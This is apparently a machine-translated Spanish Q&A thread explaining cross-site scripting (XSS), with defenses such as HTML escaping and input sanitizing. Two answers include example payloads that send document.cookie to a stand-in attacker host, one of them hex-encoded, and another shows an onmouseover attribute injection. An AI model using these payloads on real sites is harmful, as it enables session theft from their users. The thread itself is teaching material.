2008-10-27 18 views
31

¿Alguien puede explicar cómo funciona XSS en inglés sencillo? Tal vez con un ejemplo. Google no ayudó mucho.¿Cómo funciona XSS?

+1

¿Se refiere a Cross-site scripting? – iny

Respuesta

27

Cross Site Scripting básicamente es una vulnerabilidad de seguridad de páginas web dinámicas donde un atacante puede crear un enlace malicioso para inyectar JavaScript ejecutable no deseado en un sitio web. El caso más común de estas vulnerabilidades ocurre cuando las variables GET se imprimen o repiten sin filtrar o verificar su contenido.

Cuando una víctima hace clic en el enlace, el código malicioso puede enviar la cookie de la víctima a otro servidor o modificar el sitio afectado, inyectar formularios, robar nombres de usuario y contraseñas, y otras técnicas de phishing.

Ejemplo de enlace malicioso:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script> 

También es común para codificar el código malicioso, por ejemplo, en hexadecimal:

vulnerabilidad
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E 
+4

¡Es bueno que SO esté filtrando eso! : P –

+0

Jaja sí, este es un buen ejemplo de escape adecuado. Buen trabajo Stack Overflow! :) – Jason

+0

La parte que no obtendré es la parte de "víctima". Si visito examole.com e inyecto Java Script en esa página, eso aparecerá en MY browser. ¿Cómo se usaría esto para atacar a una víctima sin que alguien obtenga example.com para que sirva ese código o lo combine con algún tipo de ataque de inyección SQL? –

18

Un XSS existe siempre una cadena de fuera de su aplicación puede ser interpretado como código.

Por ejemplo, si se está generando HTML al hacer esto:

<BODY> 
    <?= $myQueryParameter ?> 
</BODY> 

continuación, si la variable $myQueryParameter contiene una etiqueta <SCRIPT> entonces el resultado final será la ejecución de código.

Para evitar que una entrada se ejecute como código, necesita escaparse contenido correctamente.

El problema anterior se puede resolver al darse cuenta de que la variable $myQueryParameter contiene texto sin formato, pero no se puede simplemente ir y poner texto sin formato en HTML y esperar que funcione.

Necesita convertir texto sin formato a HTML para poder ponerlo en su página HTML. Ese proceso de conversión de una cadena en un idioma a otro para que pueda ser incrustado se está escapando.

Puede escapar texto plano a HTML con una función como:

function escapePlainTextToHTML(plainText) { 
    return plainText.replace(/\0/g, '') 
     .replace(/&/g, '&amp;') 
     .replace(/</g, '&lt;') 
     .replace(/>/g, '&gt;') 
     .replace(/"/g, '&#34;') 
     .replace(/'/g, '&#39;'); 
} 
-2

XSS -

vulnerabilidad causada cuando el sitio web coloca la confianza en el usuario y no filtra la entrada de usuario . La entrada de usuario provoca que se ejecute un script no deseado en el sitio.

  1. Prevención:

    • filtro de entrada del usuario utilizando desinfectantes de entrada HTML

      (e.g strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape en php)

CSRF:

vulnerabilidad causada cuando el usuario coloca la confianza en el sitio, pero el sitio puede trabajar para obtener la información del usuario y el uso indebido eso.

  1. Prevención:

2

En Inglés simple

XSS es al insertar secuencias de comandos (es decir código JavaScript) en páginas web, por lo que el navegador ejecuta el código. Esto es malicioso, porque se puede usar para robar cookies y cualquier otro dato en la página. Por ejemplo:

el código HTML de una caja de búsqueda: <input value="*search value here*">

Ahora si inserta " onmouseover="alert(1), el código HTML final sería <input value="" onmouseover="alert(1)"> Cuando el ratón pasa sobre el cuadro de búsqueda, el "alerta" será ejecutado.

En "Wikitext"

Cross-site scripting (XSS) es un tipo de vulnerabilidad de seguridad informática se encuentran típicamente en aplicaciones web. XSS permite a los atacantes inyectar scripts del lado del cliente en páginas web vistas por otros usuarios. Los atacantes pueden usar una vulnerabilidad de secuencias de comandos entre sitios para eludir los controles de acceso, como la política del mismo origen.

0

He escrito un artículo sobre lo que es XSS y cómo abordarlo como desarrollador de PHP. También hay ejemplos de cómo se ven los dos tipos de ataques XSS (persistente vs. no persistente).

Hay dos tipos de ataques XSS:

  1. no persistentes: Esto sería una URL especialmente diseñada que incorpora un guión como uno de los parámetros a la página de destino. La desagradable URL se puede enviar en un correo electrónico con la intención de engañar al destinatario para que haga clic en él. La página de destino maneja incorrectamente el parámetro y envía involuntariamente código a la máquina del cliente que fue pasado originalmente a través de la cadena URL.
  2. Persistente: este ataque usa una página en un sitio que guarda los datos del formulario en la base de datos sin manejando los datos de entrada correctamente. Un usuario malintencionado puede incrustar un script desagradable como parte de un campo de datos típico (como el apellido) que se ejecuta en el navegador web del cliente, sin saberlo. Normalmente, el desagradable script se almacena en la base de datos y se vuelve a ejecutar en cada visita del cliente a la página infectada.

Ver más aquí: http://www.thedablog.com/what-is-xss/

1

En simples Inglés XSS es un vulnerabilty seguridad en el que el atacante puede enmarcar un script malicioso para comprometer el sitio web. Ahora ¿Cómo funciona?

Como sabemos que XSS necesita un campo de entrada o podemos decir que la variable GET a través del cual la entrada se hacen eco de vuelta al usuario sin filtración y, a veces filtración. Después de la solicitud, es aceptable ("código fuente") por el navegador como respuesta para mostrar los contenidos al usuario. Recuerda lo que hayas escrito en el campo de entrada que estará en la respuesta del código fuente. Por lo tanto, debes verificarlo porque a veces el desarrollador web restringe la casilla de alerta.

Si es un atacante primero, necesita conocer la vulnerabilidad xss utilizando la etiqueta de script.

Por ejemplo: - alert ("test")

Aquí alerta() se utiliza para hacer que el cuadro emergente con el botón OK y lo que cada vez que usted ha escrito en el soporte será emergente en la pantalla. Y las etiquetas de script son invisibles.

Ahora atacante puede hacer un script malicioso para robar la cookie, robar las credenciales etc.

Por ejemplo: - hxxp:? = //www.VulnerableSite.com/index.php buscar location.href = 'http://www.Yoursite.com/Stealer.php?cookie=' + document.cookie;

Aquí su sitio es el sitio del atacante en el cual el atacante puede redirigir la cookie de la víctima en el sitio de su propiedad con la ayuda de document.cookie.

Eso es todo.

Aquí script tag invisible